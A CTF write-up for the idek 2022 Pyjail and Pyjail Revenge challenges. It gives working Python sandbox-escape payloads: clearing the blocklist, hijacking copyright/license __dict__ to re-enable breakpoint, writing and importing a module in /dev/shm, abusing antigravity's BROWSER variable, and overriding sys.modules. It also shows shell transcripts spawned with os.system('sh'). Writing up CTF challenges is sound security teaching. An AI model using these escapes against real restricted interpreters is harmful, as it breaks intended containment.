# idek 2022* CTF Pyjail && Pyjail Revenge Writeup ## Pyjail: The code looks like this ```python blocklist = ['.', '\\', '[', ']', '{', '}',':'] DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"] DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS} ``` There is a blocklist ban off ``'.' , '\\', '[', ']', '{', '}', ':'``. Then there is a `DISABLE_FUNCTIONS` that registers None objects for ``'getattr', 'eval', 'exec', 'breakpoint', 'lambda', 'help'`` and overrides the corresponding functions in `__builtins__`. Also, the file name is `jail.py`, and the one in docker is also jail, so you can use `__import__('jail')`, but you may have to type it twice, so it's better to use `__import__(__main__)`. Also flag sets permission not to read directly and then gives a readflag, called with the argument `/readflag giveflag` Also, this question can be executed in multiple lines, so you can do something like emptying the blocklist as follows ```python welcome! >>> setattr(__import__('__main__'),'blocklist','') None >>> __import__('os').system('sh') sh: 0: can't access tty; job control turned off $ ls jail.py readflag.c $ ls / bin ctf etc home lib media opt readflag run srv tmp var boot dev flag kctf lib64 mnt proc root sbin sys usr $ /readflag giveflag idek{9eece9b4de9380bc3a41777a8884c185} ``` There is of course a second version that uses `__import__('jail')` to load, but it seems to have to be exploited twice ```python welcome! >>> setattr(__import__('jail'),'blocklist','') welcome! >>> setattr(__import__('jail'),'blocklist','') None >>> __import__('os').system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{9eece9b4de9380bc3a41777a8884c185} ``` ## Pyjail Revenge: Not solved during the game Repeated after the game The difference between the Revenge version and the normal version is that blocklist adds `blocklist`, `globals` and `compile` ```python blocklist = ['.' , '\\', '[', ']', '{', '}', ':', "blocklist", "globals", "compile"] ``` You can only enter one line at a time, not multiple times, so the previous solution does not work at the moment. However, the following versions can be tried ### Method 1 remove overlay: `DISABLE_FUNCTIONS` registers the None objects of ``"getattr", "eval", "exec", "breakpoint", "lambda", "help"`` and overrides the corresponding functions in its `__builtins__`, so just delete the overridden global variables OK The global variable can pass `globals()`, `vars()`, `locals()`, etc. Of course, it can also bypass the blocklist in the form of unicode, such as `globals`, so that the function in `DISABLE_FUNCTIONS` can be deleted and then called. For example, first use `setattr` to cover `__dict__` of some useless classes with `globals()`, `vars()`, `locals()`, then `delete` those `ISABLE_FUNCTIONS` through delattr, and then call For example: `vars()`, `locals()` can be used Override copyright and call the breakpoint function ```python welcome! >>> setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint() --Return-- > <string>(1)<module>()->(None, None, None) (Pdb) import os;os.system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} welcome! >>> setattr(copyright,'__dict__',vars()),delattr(copyright,'breakpoint'),breakpoint() --Return-- > <string>(1)<module>()->(None, None, None) (Pdb) import os;os.system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} welcome! >>> setattr(copyright,'__dict__',locals()),delattr(copyright,'breakpoint'),breakpoint() --Return-- > <string>(1)<module>()->(None, None, None) (Pdb) import os;os.system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} ``` Override the license to call the breakpoint function ```python= welcome! >>> setattr(license,'__dict__',globals()),delattr(license,'breakpoint'),breakpoint() --Return-- > <string>(1)<module>()->(None, None, None) (Pdb) import os;os.system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} welcome! >>> setattr(license,'__dict__',vars()),delattr(license,'breakpoint'),breakpoint() --Return-- > <string>(1)<module>()->(None, None, None) (Pdb) import os;os.system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} welcome! >>> setattr(license,'__dict__',locals()),delattr(license,'breakpoint'),breakpoint() --Return-- > <string>(1)<module>()->(None, None, None) (Pdb) import os;os.system('sh') sh: 0: can't access tty; job control turned off $ /readflag giveflag idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} ``` The parameters related to coverage can be found in these: https://github.com/python/cpython/blob/c5660ae96f2ab5732c68c301ce9a63009f432d93/Lib/site.py#L400-L426 `quit,copyright,exit,license,credits` Of course, because of this version, he is such a startup parameter ```dockerfile ENTRYPOINT socat \ TCP-LISTEN:1337,reuseaddr,fork,end-close \ EXEC:"./jail.py",pty,ctty,stderr,raw,echo=0 ``` So you can also delete help() and then use help() to rce again, but the remote environment may have some restrictions that may cause /tmp to disappear, /tmp is unreadable, but it can work locally ```python welcome! >>> setattr(license,'__dict__',locals()),delattr(license,'help'),help() Welcome to Python 3.8's help utility! If this is your first time using Python, you should definitely check out the tutorial on the Internet at https://docs.python.org/3.8/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam". help> os [Errno 2] No usable temporary directory found in ['/tmp', '/var/tmp', '/usr/tmp', '/home/user'] ``` ### Method 2 Modify sys.path, write the file and then import: It consists of the following parts 1. Overwrite the property of `sys.path` through setattr, covering it as writable `/dev/shm` 2. Then pass the file parameter of the print function https://blog.csdn.net/no_giveup/article/details/72017925, and then use open to open and write.`.` will be Replaced with `chr(46)` 3. Use `__import__` to load the written file name, and then execute the code which are respectively 1. `setattr(__import__("sys"), "path", list(("/dev/shm/",)))` 2. `print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w"))` 3. `__import__("exp")` final payload: ```python (setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp")) ``` result: ```python welcome! >>> (setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp")) idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!} 0 (None, None, <module 'lol' from '/dev/shm/exp.py'>) ``` Of course, it should be caused by environmental problems. The /tmp of the remote environment is read-only, but it should be writable. If the above path is writable in tmp, the relevant payload can also be completed. ### Method 3 antigravity hijacks the BROWSER environment variable: And antigravity can be seen from here https://towardsdatascience.com/7-easter-eggs-in-python-7765dc15a203 This solution comes from the author's expected solution. This question is very interesting. Use setattr to overwrite the environment variable BROWSER in os.environ so that it can be executed. Track it https://github.com/python/cpython/blob/main/Lib/antigravity.py ```python import webbrowser import hashlib webbrowser.open("https://xkcd.com/353/") def geohash(latitude, longitude, datedow): '''Compute geohash() using the Munroe algorithm. >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68') 37.857713 -122.544543 ''' # https://xkcd.com/426/ h = hashlib.md5(datedow, usedforsecurity=False).hexdigest() p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])] print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:])) ``` Found that it called `webbrowser`, continue to track You can see from here that there is `register_standard_browsers` in the open function https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L84 ```python def open(url, new=0, autoraise=True): """Display url using the default browser. If possible, open url in a location determined by new. - 0: the same browser window (the default). - 1: a new browser window. - 2: a new browser page ("tab"). If possible, autoraise raises the window (the default) or not. """ if _tryorder is None: with _lock: if _tryorder is None: register_standard_browsers() for name in _tryorder: browser = get(name) if browser.open(url, new, autoraise): return True return False ``` Continue to track `register_standard_browsers` to find that it checks the `BROWSER` environment variable in `os.environ` https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L585 ```python if "BROWSER" in os.environ: userchoices = os.environ["BROWSER"].split(os.pathsep) userchoices.reverse() # Treat choices in same way as if passed into get() but do register # and prepend to _tryorder for cmdline in userchoices: if cmdline != '': cmd = _synthesize(cmdline, preferred=True) if cmd[1] is None: register(cmdline, None, GenericBrowser(cmdline), preferred=True) ``` Where `GenericBrowser` can run `cmdline` https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L181 ```python class GenericBrowser(BaseBrowser): """Class for all browsers started with a command and without remote functionality.""" def __init__(self, name): if isinstance(name, str): self.name = name self.args = ["%s"] else: # name should be a list with arguments self.name = name[0] self.args = name[1:] self.basename = os.path.basename(self.name) def open(self, url, new=0, autoraise=True): sys.audit("webbrowser.open", url) cmdline = [self.name] + [arg.replace("%s", url) for arg in self.args] try: if sys.platform[:3] == 'win': p = subprocess.Popen(cmdline) else: p = subprocess.Popen(cmdline, close_fds=True) return not p.wait() except OSError: return False ``` final exp: ```python __import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s'))) ``` #### Method 4 Let `__import__` load getattr to take effect by restoring sys.modules: Since `__import__` will first look for `sys.modules` https://github.com/python/cpython/blob/48ec678287a3be1539823fa3fc0ef457ece7e1c6/Lib/importlib/_bootstrap.py#L1101 when loading, you can first override `sys.modules` by `setattr` `__builtins__`, so that `__import__` can call `getattr`. Through `getattr`, `os.system` can be loaded. Since it is banned, you can use `__import__('os'), 'system'`, and then pass the parameter `'sh'`. ```python setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh') ``` ### end Thanks to lrh2000,UnblvR,maple3142 help for this article